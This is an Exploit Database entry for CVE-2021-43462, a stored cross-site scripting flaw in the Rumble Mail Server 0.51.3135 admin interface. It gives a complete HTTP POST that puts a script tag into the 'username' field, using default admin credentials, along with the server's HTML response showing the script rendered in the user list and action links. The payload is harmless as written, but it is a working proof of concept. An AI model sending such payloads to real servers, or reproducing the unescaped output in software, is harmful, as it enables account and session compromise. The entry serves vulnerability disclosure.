Headline
CVE-2021-43462: Offensive Security’s Exploit Database Archive
A Cross Site Scripting (XSS) vulnerability exists in Rumble Mail Server 0.51.3135 via the username parameter.
# Exploit Title: Rumble Mail Server 0.51.3135 - 'username' Stored XSS
# Date: 2020-9-3
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: http://rumble.sf.net/
# Software Link: https://sourceforge.net/projects/rumble/files/Windows%20binaries/rumble_0.51.3135-setup.exe
# Version: Version 0.51.3135
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763
# Exploit:
POST /users HTTP/1.1
Host: 127.0.0.1:2580
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: http://127.0.0.1:2580
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Referer: http://127.0.0.1:2580/users
Upgrade-Insecure-Requests: 1
username=%3Cscript%3Ealert%28%22M507%22%29%3C%2Fscript%3E&password=admin&rights=*&submit=Submit
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="/favicon.ico " />
<title>RumbleLua</title>
<link href="rumblelua2.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div class="header_top">
<div class="header_stuff">
RumbleLua on a.com<br />
<span class="fineprint">Rumble Mail Server v/0.51.3135 <br />
</span>
<a href="/"><img src="/icons/computer.png" align="absmiddle" /> Server status</a>
<a href="/domains"><img src="/icons/house.png" align="absmiddle" /> Domains & accounts</a>
<a href="/users"><img src="/icons/group.png" align="absmiddle" /> RumbleLua users</a>
<a href="/settings"><img src="/icons/report_edit.png" align="absmiddle" /> Server settings</a>
<a href="/modules"><img src="/icons/plugin_edit.png" align="absmiddle" /> Set up modules</a>
<a href="/systeminfo"><img src="/icons/page_white_find.png" align="absmiddle" /> System logs</a>
<a href="/queue"><img src="/icons/clock.png" align="absmiddle" /> Mail queue</a>
</div>
</div>
<div id="contents">
<h1>RumbleLua users </h1>
<p>This page allows you to create, modify or delete accounts on the RumbleLua system.<br />
Users with <img src="../icons/action_lock.png" alt="lock" width="24" height="24" align="absmiddle" /><span style="color:#C33; font-weight:bold;"> Full control</span> can add, edit and delete domains as well as change server settings, <br />
while regular users can only
see and edit the domains they have access to.
</p>
<table class="elements">
<tr>
<th>Create a new user:</th>
</tr>
<tr>
<td>
<form action="/users" method="post" name="makeuser">
<div style="width: 300px; text-align:right; float: left;">
<label for="username"><strong>Username:</strong></label>
<input name="username" autocomplete="off" type="text" id="username" >
<br>
<label for="password"><strong>Password:</strong></label>
<input type="password" autocomplete="off" name="password" id="password">
<br />
<label for="password"><strong>Access rights:</strong></label>
<select name="rights" size="4" style="width: 150px;" multiple="multiple">
<option value="*" style="color:#C33; font-weight:bold;">Full control</option>
<optgroup label="Domains:">
</optgroup>
</select>
</div>
<p><br /><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<input type="submit" name="submit" id="submit" value="Submit" />
</p>
</form>
</td>
</tr>
</table>
<table width="200" class="elements">
<tr>
<th>Username</th>
<th>Rights</th>
<th>Actions</th>
</tr>
<tr>
<td><img src="/icons/action_lock.png" align="absmiddle"/> <strong><font color='#006600'><script>alert("M507")</script></font></strong></td>
<td>Full control</td>
<td>
<a href="/users?user=<script>alert("M507")</script>&edit=true"><img src="/icons/action_edit.png" title="Edit" align="absmiddle"/></a>
<a href="/users?user=<script>alert("M507")</script>&delete=true"><img src="/icons/action_delete.png" title="Delete" align="absmiddle"/></a>
</td>
</tr>
<tr>
<td><img src="/icons/action_lock.png" align="absmiddle"/> <strong><font color='#006600'>admin</font></strong></td>
<td>Full control</td>
<td>
<a href="/users?user=admin&edit=true"><img src="/icons/action_edit.png" title="Edit" align="absmiddle"/></a>
<a href="/users?user=admin&delete=true"><img src="/icons/action_delete.png" title="Delete" align="absmiddle"/></a>
</td>
</tr>
<tr>
<td><img src="/icons/action_lock.png" align="absmiddle"/> <strong><font color='#006600'><script>alert("M5072")</script></font></strong></td>
<td>Full control</td>
<td>
<a href="/users?user=<script>alert("XSS")</script>&edit=true"><img src="/icons/action_edit.png" title="Edit" align="absmiddle"/></a>
<a href="/users?user=<script>alert("XSS")</script>&delete=true"><img src="/icons/action_delete.png" title="Delete" align="absmiddle"/></a>
</td>
</tr>
</table>
<p> </p>
</div>
<br />
<p align="center">
Powered by Rumble Mail Server - [<a href="https://sourceforge.net/p/rumble/wiki/Home/">wiki</a>] [<a href="https://sourceforge.net/projects/rumble/">project home</a>]
</p>
</body>
</html>